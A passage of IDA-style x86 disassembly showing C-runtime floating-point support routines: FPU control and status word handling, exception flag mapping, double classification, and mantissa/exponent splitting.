		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h

loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_43BF38, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------

loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------

loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------

loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx

loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2870000h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh

loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh

loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h

loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh

loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh

loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx

loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------

loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------

loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx

loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8D0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs

loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_43B8C0
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------

loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_43B8D0
		fchs

loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_43B8D0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------

loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_43B8C0
		fchs

loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8C0
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs

loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]

loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx

loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------

loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------

loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx

loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx

loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx

loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h

loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3

loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------

loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx

loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx

loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh

loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx

loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_48A014, 22h
		retn
; ---------------------------------------------------------------------------

loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_48A014, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B7E8

loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B8C0
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_43B7EC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3

loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B

loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4

loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------

loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E

loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax

loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1

loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h

loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------

loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


